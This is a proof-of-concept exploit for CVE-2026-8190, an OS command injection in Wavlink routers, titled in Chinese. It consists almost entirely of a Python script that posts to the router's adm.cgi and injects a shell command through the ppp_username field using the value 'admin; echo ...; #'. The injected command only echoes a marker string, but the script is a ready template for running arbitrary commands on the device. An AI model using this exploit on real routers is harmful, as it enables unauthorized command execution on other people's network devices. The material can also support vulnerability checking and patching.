CVE-2026-8190 Wavlink路由器OS命令注入漏洞

import requests # Target configuration target_url = "http://<TARGET_IP>/cgi-bin/adm.cgi" # Exploit payload: Injecting a simple command to echo a string # The payload targets the 'ppp_username' parameter injection_payload = "admin; echo 'CVE-2026-8190_VULNERABLE'; #" # Prepare data payload data = { "action": "wan", "ppp_username": injection_payload, "ppp_passwd": "password", "rwan_ip": "192.168.1.100", "rwan_mask": "255.255.255.0", "rwan_gateway": "192.168.1.1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-Scanner/1.0)" } try: print(f"[+] Sending exploit request to {target_url}...") response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for command execution output:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")